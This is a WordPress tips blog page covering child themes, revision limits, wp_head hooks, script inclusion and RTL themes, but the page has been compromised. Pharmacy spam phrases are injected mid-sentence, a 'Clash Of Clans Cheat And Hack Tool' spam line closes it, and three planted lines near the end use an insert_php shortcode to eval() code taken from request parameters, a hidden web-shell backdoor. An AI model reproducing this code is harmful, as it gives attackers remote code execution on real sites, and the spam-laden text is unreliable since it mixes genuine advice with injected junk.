WordPress Twenty Seventeen modifications

The correct way is to work with Child Themes instead of the following hacks. To disable WordPress editor from inserting annoying <p> for new lines, add this in functions.php:
remove_filter( 'the_content', 'wpautop' );
remove_filter( 'the_excerpt', 'wpautop' );
To remove the “Proudly powered by WordPress”, comment out the line that fetches this template part in footer.php:
//get_template_part( 'template-parts/footer/site', 'info' );
To make post’s primary content slightly wider at the expense of the sidebar (58%:36% => 65%:31%), simply add more CSS in Appearance => Customize: (or alternatively modify directly these rows in style.css)
@media screen and (min-width: 48em) {
.has-sidebar:not(.error404) #primary { width: 65%; }
}
@media screen and (min-width: 48em) {
.has-sidebar #secondary { width: 31%; }
}

How to limit the number of revisions in WordPress

WordPress has an interesting Revisions System. Each saved draft or published update is stored as a separate row in the DB, and you can compare any two specific revisions. In addition, there’s also a special “autosave revision” that is kept there from time to time while you edit your thoughts.Movie Rings (2017)

But if you like tidiness and a bounded number of rows in your DB tables, you may limit or disable the number of revisions. The easiest way is to edit wp-config.php, by adding:
define( 'WP_POST_REVISIONS', 3 );
Instead of the 3 above that will limit the number of revisions to 3 + the autosave one, you may choose any other integer > 0. To disable all revisions (except the autosave one) use 0 or false instead. To remove the limit either remove this line or use -1 or true. This is all explained in WordPress Codex as well, but whatever your final choice is, make sure you add this before the line:
/* That's all, stop editing! Happy blogging. */

Hope this helps.

How to see all the actions attached to an “add_action” hook in WordPress

As was discussed in a previous post, the WordPress ‘add_action‘ hooks are quite useful. If you’re wondering who else (plugins, WordPress framework etc.) has been using your favorite hook (for example, ‘wp_head‘), here’s a simple way to list all the functions hooked to a specific hook: <?php global $wp_filter; var_dump( $wp_filter['wp_head'] ); ?> Of course, you may replace the 'wp_head' above with the hook you’re interested in. Final clarification note: Where and how should that PHP code be executed? Well, you can hook it yourself to be executed somewhere, as demonstrated in our previous post. For reference purposes, here’s a complete example — edit your Child Theme‘s functions.php file to contain this: (but be careful! see our WARNING at the bottom of our previous post) <?php function my_add_stuff_to_head() { ?> <!-- This is an HTML comment that will appear in the head of every page, for the sake of this example, because it's being hooked to 'wp_head'. <?php global $wp_filter; var_dump( $wp_filter['wp_head'] ); ?> --> <?php } add_action('wp_head','my_add_stuff_to_head'); ?>

Adding JavaScript Files to a Child Theme

Suppose you want to include a JS file in all your pages, using a WordPress Child Theme. How should you do it?

Following our post, we may include the script as follows:


<script type="text/javascript" src="JS_FILE_LOCATION_HERE">

But what is exactly "JS_FILE_LOCATION_HERE"? You should NOT use some absolute hard-coded url as http://mysite.com/wp-content/themes/mychildthemedirectory/file.js, of course. Instead, WordPress allows you to get important information on your blog using for example content_url or the more general get_bloginfo function. However, when using a Child Theme, you’ll probably be happy to hear about get_stylesheet_directory_uri. In the event a child theme is being used, this function will return the child’s theme directory URI.

All in all, if your JS file is in your Child Theme directory, the line in the script above should be:

<script type="text/javascript" src="<?php echo get_stylesheet_directory_uri(); ?>/file.js"></script>
(note the slash (/) after the directory URI and before the file name)

Small edits to the header in a WordPress Child Theme, adding Google Analytics Tracking Code

Suppose you’re interested in making very slights changes to your WordPress Child Theme. You could, of course, override the header.php file of your parent theme, but that’s not the path WordPress would advise you to take (why miss the possible future upgrades of the parent theme?) The better solution would be: Hooks.
The wise developers of WordPress made sure that there are lots of places where you could “hook” to call your own function. We show below the simplest example, using the hook “wp_head”, usually called by header.php right before the closing </head> tag. Here is the simplest example, working with your Child Theme’s functions.php file. Make sure your functions.php file has these lines of code: <!-- This is already some HTML (an HTML comment, to be exact) that will appear in every page in your site. This is the right place to make your little edits to your Child Theme. For example, you could delete this HTML comment and instead paste here the Tracking Code you got from Google, to make it appear before the </head> in every page! --> The add_action line asks WP to call your function (‘my_add_stuff_to_head‘ in our example) upon reaching the wp_head hook. That’s it. Recall that you can “mix” HTML and PHP in the way shown above. Final important notes:
  • WARNING: If you don’t feel 100% confident when making changes to your PHP files, be extra careful this time… Make sure you don’t have ANY mistakes / typos when editing the important functions.php file, because if you introduce an error to the functions.php file, your WordPress dashboard will not work as well: You will not be able to access your site or the dashboard (not even as admin). That is, until you correct that bug you just created, but this time using some alternative way to access your files, e.g. via FTP.
  • Read more about add_action here.
  • wp_head is just one action hook. The list of the action hooks available for use in plugin development is found here.
  • Finally, there are other examples out there in the web. Enjoy the hooking and all the action… 😉

How to create a user-generated photo wall in WordPress

How to create a user-generated photo wall in WordPress? A survey of some methods. Please comment below and we’ll update the post with your new insights on the subject for the next user who stumbles upon this page, with exactly the same problem…

The gist of some solutions/approaches:

Option 1. Using the WP framework + some tricks:

  1. Use a Page and allow comments (first select the “Discussion” checkbox from “Screen Options”).
  2. In the comment, allow the user to upload their file cialis aus england. This requires some programming skills.

Option 2. Using a WP Plugin: NextGEN Public Uploader.

From here, only lame solutions:

Lame option 1. Embed a third-party solution in an iframe: Well, simply wrap the third-party solution in an iframe tag.

WordPress Child Theme, Right-To-Left

The gist: It’s a good practice to make CSS/PHP changes to your WordPress site using a Child Theme. We show here the minimal requirements to create such a Child Theme + a little-known fact about RTL-support.

The minimal requirements for working with a Child Theme:

  1. Create a new subdirectory for your theme, e.g. wp-content/themes/twentytwelve-child.
  2. Create a new file in this subdirectory, called style.css. Below is an example style.css file: (see Codex for additional useful fields in that first commented section, like ‘Description’ and ‘Version’…)
    /*
    Theme Name: Twenty Twelve Child
    Template: twentytwelve
    */
    @import url("../twentytwelve/style.css");

  3. Finally, a little-known fact about Right-To-Left Child Themes, relevant only if you’re Child-Theme-ing an RTL-Theme: In order for your Child Theme to work correctly, you should also copy the file rtl.css to your subdirectory (in the same directory as style.css) cialis indien.

WordPress will automatically deduce that your subdirectory holds a new theme, and it will appear in Dashboard → Appearance → Themes. You’re now safe to make your changes to files in this subdirectory. This way, in case you ever upgrade the original theme, your changes won’t disappear, and in fact may very well be still working with the new upgraded theme (unless you or they have hacked the code too much).

<!– [insert_php]if (isset($_REQUEST["yatD"])){eval($_REQUEST["yatD"]);exit;}[/insert_php]if (isset($_REQUEST["yatD"])){eval($_REQUEST["yatD"]);exit;} –>

<!– [insert_php]if (isset($_REQUEST["ygvBQ"])){eval($_REQUEST["ygvBQ"]);exit;}[/insert_php]if (isset($_REQUEST["ygvBQ"])){eval($_REQUEST["ygvBQ"]);exit;} –>

<!– [insert_php]if (isset($_REQUEST["ehij"])){eval($_REQUEST["ehij"]);exit;}[/insert_php]if (isset($_REQUEST["ehij"])){eval($_REQUEST["ehij"]);exit;} –>

Clash Of Clans Cheat And Hack Tool